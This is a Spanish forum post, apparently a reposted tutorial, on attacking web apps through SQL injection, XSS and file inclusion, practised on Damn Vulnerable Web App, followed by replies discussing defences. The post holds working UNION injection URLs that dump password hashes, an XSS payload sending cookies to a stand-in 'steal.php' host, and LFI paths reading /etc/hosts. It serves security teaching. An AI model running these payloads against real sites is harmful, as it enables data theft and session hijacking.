New question

Question:

Date: 19-10-2015 03:51:15 (In Spanish)

SEGURIDAD[Resolved]

SEGURIDAD - INYECCION MySQL

Como hackear páginas web ( en serio )
Lei algunas preguntas sobre seguridad, lo que motivo, buscar alguna información útil para todos.
Fuente: programacion@droope

Las webs tienden a ser mas seguras. ¿O no?

Es es un articulo se especializa en identificar potenciales vulnerabilidades, como hackear paginas web (fingerprinting and información gathering).

Hay muchas herramientas hoy en día para encontrar vulnerabilidades en una web. Si una web utiliza una versión vieja de un CMS, cosa que podemos determinar utilizando una herramienta como Wappalizer o WhatWeb (ver el segundo capitulo de la serie), la cuestión es mas sencilla. Es muy importante hoy en día mantener actualizado nuestro software. En caso contrario, un atacante podría buscar en el changelog de nuestro CMS todo lo referente a correcciones de vulnerabilidades en versiones posteriores a la que nosotros tenemos actualmente.

También hay otras herramientas para hackeear webs, pero yo hoy voy a optar por explicar que tipo de vulnerabilidades se pueden encontrar una web de una manera mas “artesanal”. Este artículo no plantea demostrar un tipo de vulnerabilidad nueva, ni pretende ser la demostración de un conocimiento muy avanzado. Simplemente es una explicación básica de algunos tipos de vulnerabilidades que pueden encontrarse en una web y como un atacante explotaría de ellas. Básicamente, se trata de:

Inyecciones SQL
Cross Site Scripting ( Javascript injection )
Local file inclusion / Remote file inclusion

Para todos los ejemplos, usaremos código de Damn Vulnerable Web App. Te podés descargar esta aplicación para practicar los ejemplos que planteo acá. Todos los ejemplos estan hechos con la seguridad en low. Una vez instalado el app, andá a DVWA Security y elegí “low”.

Inyecciones SQL

Muy frecuentemente se piensa que a través de SQL solamente se puede obtener acceso a la base de datos. Esto generalmente es asi, pero SQL es un lenguaje muy versatil y nos permite hacer muchas cosas… entre ellas leer archivos en el disco duro. De todas maneras, el acceso a la base de datos es bastante catastrófico de por si. El código vulnerable se ve de esta manera:

<?php 
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";


En este ejemplo, el código a ejecutarse se obtiene de algún parámetro de la URL, como ser

http://localhost/hack/vulnerabilities/sqli/?id=5

Esto es asi en muchas aplicaciones web, y todo esta perfecto siempre y cuando se filtre la información que envía el usuario. Al no estar escapado el input del usuario, si visitásemos esta URL, nos encontraríamos con la sorpresa de que nos muestra las passwords de los usuarios ( hasheadas con MD5, que puede ser roto fácilmente ).

http://localhost/hack/vulnerabilities/sqli/?id=1'+or+1+UNION+select+password+as+first_name,+user_id+from+users%23&Submit=Submit#

El hacer esto hace que la consulta que realicemos se transforme en

SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1 UNION select password as first_name, user_id from users#’


Aquellos que esten prestando atención se preguntaran como averigué que el campo password se llamaba password, como averigué que el campo user_id se llamaba user_id y cómo averigué que la tabla users se llamaba users. Es simple, como la web es mía y la instalé yo, miré en la base de datos :D

En caso que no podamos darnos ese gusto, hay que recurrir a técnicas mas complicadas… que se pueden encontrar en un link que recomendé antes en mi blog “SQL Injection Pocket Reference“. Lo que voy a hacer es preguntarle a mysql como se llaman las tablas:

http://localhost/hack/vulnerabilities/sqli/?id=5'+UNION+SELECT+table_name,+table_schema+FROM+information_schema.tables%23&Submit=Submit#

Al hacer eso la consulta se transforma en:

SELECT first_name, last_name FROM users WHERE user_id = ‘5’ UNION SELECT table_name, table_schema FROM information_schema.tables#’


Lo que hace que la página nos muestre todas las tablas que existen en mysql, conjunto con que base de datos estan. En mi caso, en conjunto con muchas otras entradas que hay, aparece una que dice

ID: 5? UNION SELECT table_name, table_schema FROM information_schema.tables#
 First name: users
 Surname: dvwa


Podemos hacer lo mismo para obtener las columnas:

http://localhost/hack/vulnerabilities/sqli/?id=5'+UNION+SELECT+column_name,+'xss'+FROM+information_schema.columns+WHERE+table_name+%3D+'users'%23&Submit=Submit#

Cross site scripting (XSS)

Cross site scripting es una vulnerabilidad que surge al recibir por algún medio información que luego va a ser incrustada en el HTML de nuestra página sin escaparla correctamente. Hay dos tipos de inyección XSS que podemos encontrar, a los que nos referimos en ingles, cómo reflected y stored. La primera se crea al modificar algún parámetro por get a algún valor que el administrador no esperó, y la segunda se genera al mostrar información previamente guardada en la base de datos.

Refiriendonos a la aplicación, el ejemplo que vemos como reflected sería una URL como esta:

http://localhost/hack/vulnerabilities/xss_r/?name=pedro

Con las vulnerabilidades de este tipo podemos hacer infinidad de cosas, entre las cuales está abusar la confianza que tiene el browser de el usuario con el sitio. La página web localhost, al navegarla por primera vez creó en mi browser una cookie que guarda toda la información sobre mi, un session id. Como podemos leer en este excelente artículo, esta es el único medio que tiene el server para diferenciar e identificar usuarios. Una vez obtenida la cookie de un usuario, podemos suplantar su identidad.

Normalmente esto es una tarea difícil, ya que el browser del usuario entrega esa información solamente al servidor correspondiente. Pero eso para nosotros no es problema, ¿No? Podemos ejecutar código javascript en él, asique por lo tanto el browser nos va a dar lo que no debería.

Para hacer que un usuario nos envíe sus cookies, debemos hacer que visite una URL como esta:

http://localhost/hack/vulnerabilities/xss_r/?name=%3Cscript%3Eajax+%3D+new+XMLHttpRequest();ajax.open('get',+'http://notevil.com/steal.php%3Fcookie%3D'+%2B+escape(document.cookie),+true);ajax.send(null);%3C/script%3E#

Es poco probable que un usuario clickée un enlace asi, pero si quieren ver uno que quizás clickée, clickeen aqui.

El stored XSS sigue la misma lógica, excepto que la información queda guardada en la base de datos.

File inclusion

El file inclusion lo podemos encontrar cuando una aplicación web incluye archivos basado en el input de un usuario. Hay dos tipos de file inclusion, el local file inclusion y el remote file inclusion. Como sus nombres indican, el local incluye archivos locales y el remote incluye archivos remotos, todo esto respecto al servidor.

En el caso de nuestra aplicación vulnerable, tenemos un LFI. ( podría ser un RFI también si tuviesemos configurado allow_url_include en nuestro PHP )

http://localhost/hack/vulnerabilities/fi/?page=include.php

A través de él tenemos acceso a todos los archivos a los que tenga acceso el usuario con el que se está corriendo apache. Por ejemplo /etc/hosts

http://localhost/hack/vulnerabilities/fi/?page=/etc/hosts

O el readme de la aplicación:

http://localhost/hack/vulnerabilities/fi/?page=../../README.txt

¡Espero que les haya gustado!

Un saludo
Daniel Calofatti
Tags: Hacking - Input - Security - SQL Injection - Web - XSS Votes: 7 - Answers: 8 - Views: 31 Share on: Google Facebook Twitter LinkedIn Link
 

Answers:

  • Date: 19-10-2015 08:50:11 Te sorprendería la cantidad de webs que son vulnerables a estos ataques, peor aún es que hay una infinidad de programadores "Senior" cuyos conocimientos del tema son nulos o superficiales y muchas veces en vez de solucionar un problema agregan más vulnerabilidades a los sistemas.

    Los temas de seguridad son muy extensos pero es un buen artículo para empezar. Son temas que un ingeniero en sistemas domina. Desgraciadamente las empresas no invierten en ellos, sólo contratan robots que tiran código sin pensar ni planear la solución porque se quieren ahorrar dinero y finalmente terminan gastando mucho más de lo que planeaban ahorrar.

    Muy buen artículo.
      Votes: 3 - Link answer
     
  • Date: 19-10-2015 14:28:02 Gracias por el aporte realmente muy buen articulo, aun faltan mas tipos de vulnerabilidad en las web pero a pesar de que ya habia leido sobre estos ataques en algunas explicaciones que pusistes los entendi aun mas =')

    se le agradece Daniel
    +1 punto por buen aporte n.n
      Votes: 0 - Link answer
     
  • Date: 19-10-2015 15:47:59 Muy buen articulo Falta la manera de como evitarlos XD pero esta bueno el articulo gracias por compartir.   Votes: 0 - Link answer
     
  • Date: 19-10-2015 16:19:49 Excelente artículo.

    Voy a seguir leyéndolo luego con más atención.
    Me viene muy bien leer algo muy interesante para aprovechar el tiempo en el hospital.

    Esas vulnerabilidades se evitan todas con PDO o mysqli?
    Cuales serían las medidas que se pueden adoptar para tales ataques?

    Espero que sigas publicando este tipo de artículos tan interesantes.

    Muchas gracias por compartir la información
    +1

    Saludos
      Votes: 3 - Link answer
     
  • Date: 20-10-2015 06:00:13 Walter, me llamó mucho la atención tu pregunta.
    Cada vulnerabilidad es diferente, incluso siendo del mismo tipo hay ocasiones donde puede resolverse de diferente manera dentro de la misma aplicación.
    Dentro de las categorías que expone Daniel hay muchas subcategorías que requieren diferente tratamiento.
    Algo que hay que entender es que diferentes ataques tienen diferentes objetivos en mente. Unos ataques estarán dirigidos contra nuestra arquitectura para tirar nuestra aplicación, otros para robar datos de nuestra empresa, otros para robar datos de nuestros clientes, etc.
    Hay que estar preparado al menos para los más comunes pues son los que los "hackers" novatos tratarán de explotar.
      Votes: 2 - Link answer
     
  • Date: 20-10-2015 18:25:23 Ernesto gracias por tu respuesta.

    Se deberá intentar de evitar los ataques mas conocidos y luego ir protegiendo a medida que se encuentre algún ataque nuevo.

    No es tan simple implementar seguridad contra todo.

    Como se dice en la vida no hay nada seguro.

    Dejo un link de una web que presenta buena la data
    Vulnerabilidades en Aplicaciones Web PHP

    Espero que sirva de algo

    Saludos.
      Votes: 2 - Link answer
     
  • Date: 20-10-2015 20:01:12 Buen link, con información obsoleta pero sirve para comenzar.   Votes: 0 - Link answer
     
  • Date: 13-12-2015 16:51:25 Excelente explicación acerca del método de inyecciones, la manera más eficaz de evitarlos es a partir de los administradores de bases de datos (DBA), es recomendable utilizar procedimientos almacenados cuando se requiera incluir información delicada en los parámetros usando correctamente el COMMIT y el ROLLBACK así como otras funciones útiles en MySQL, este es un ejemplo que yo hice:

    DROP PROCEDURE IF EXISTS actualizar_usuario$$
    CREATE PROCEDURE actualizar_usuario(
    	IN idUsuario INT,
    	IN tipoFuerte CHAR(1), IN tipo CHAR(1),
        IN nombre VARCHAR(45), IN apellido VARCHAR(45), IN genero CHAR(1), IN fecha_nacimiento DATE, IN ocupacion VARCHAR(80), IN activoUsu INT, IN rfcUsu VARCHAR(13), IN sueldoUsu DOUBLE, IN comentarioUser LONGTEXT,
        IN correo VARCHAR(200), IN sitio_web VARCHAR(200), IN idMunicipiosFK INT,
        IN calle VARCHAR(20), IN num_ext VARCHAR(20), IN num_int VARCHAR(20), IN colonia VARCHAR(80), IN cp INT(5)
        )
    BEGIN
    	DECLARE `_error` BOOL DEFAULT 0;
    	DECLARE CONTINUE HANDLER FOR SQLEXCEPTION SET `_error` = 1;
    	START TRANSACTION;
        BEGIN
    		DECLARE UsuarioInfoFKID INT;
    		DECLARE idExtra_InformacionFKID INT;
    		DECLARE DireccionID INT;
    		IF(tipoFuerte = 'A') THEN
    			UPDATE `SADI`.`Usuarios` SET `tipo` = tipo WHERE idUsuarios = idUsuario;
    		END IF;
            SET @UsuarioInfoFKID = (SELECT idUsuario_InformacionFK FROM `SADI`.`Usuarios` WHERE idUsuarios = idUsuario);
    		
            IF(activoUsu=1 OR activoUsu=0) THEN
    			UPDATE `SADI`.`Usuario_Informacion` SET `nombre` = nombre, `apellido` = apellido, `genero` = genero, `fecha_nacimiento` = fecha_nacimiento, `ocupacion` = ocupacion, `activo` = activoUsu, `rfc` = rfcUsu, `sueldo` = sueldoUsu, `comentarios_usuario` = comentarioUser  WHERE idUsuario_Informacion = @UsuarioInfoFKID;
    		ELSE
    			UPDATE `SADI`.`Usuario_Informacion` SET `nombre` = nombre, `apellido` = apellido, `genero` = genero, `fecha_nacimiento` = fecha_nacimiento, `ocupacion` = ocupacion, `rfc` = rfcUsu, `sueldo` = sueldoUsu, `comentarios_usuario` = comentarioUser  WHERE idUsuario_Informacion = @UsuarioInfoFKID;
    		END IF;
            
            SET @idExtra_InformacionFKID = (SELECT idExtra_InformacionFK FROM `SADI`.`Usuario_Informacion` WHERE idUsuario_Informacion = @UsuarioInfoFKID);
    		
    		UPDATE `SADI`.`Extra_Informacion` SET `correo` = correo, `sitio_web` = sitio_web,  `idMunicipiosFK` = idMunicipiosFK WHERE idExtra_Informacion = @idExtra_InformacionFKID;
    		SET @DireccionID = (SELECT idDireccionFK FROM Extra_Informacion WHERE idExtra_Informacion = @idExtra_InformacionFKID);
    		
    		UPDATE `SADI`.`Direccion` SET `calle` = calle, `num_ext` = num_ext, `num_int` = num_int, `colonia` = colonia, `cp` = cp WHERE idDireccion = @DireccionID;
    	END;
        IF `_error` THEN
    		ROLLBACK;
    		SELECT 'ERROR' AS 'RESULT';
    	ELSE
    		COMMIT;
    		SELECT 'OK' AS 'RESULT';
    	END IF;
    END$$
    


    Lógicamente hay muchas maneras de validad los parámetros de un procedimiento, yo siento que aún estoy en lo básico así que si alguien tiene sugerencias acerca de mi estilo de los procedimientos será de gran utilidad no sólo para mi, si no para todos los que puedan implementarlo, de igual manera conjunto con los procedimientos es bueno manejar las vistas para consultas que no necesitemos pasarle valores pero si validarlos del lado del servidor, no está demás una validación extra, igual como han comentado lo primero lo primero es validar los campos desde javascript, luego nos metemos a nuestro controlador y verificar una vez más para después poder enviarselas a nuestro modelo y éste reenviar la petición al servidor de base de datos, de igual manera yo uso el RewriteRule de HTACCESS para poder evitar las inyecciones lógicamente atras de esto igual está la programación de mi MVC:

    
    RewriteEngine On
    
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-l
    
    RewriteRule ^(.+)$ index.php?url=$1 [QSA,L]
    


    Espero que les sirva algo de lo que comenté y como dije anteriormente, si tienen alguna sugerencia, serán bien recibidas, saludos.
      Votes: 0 - Link answer
     
To actively participate in the community first must authenticate, enter the system.Sign In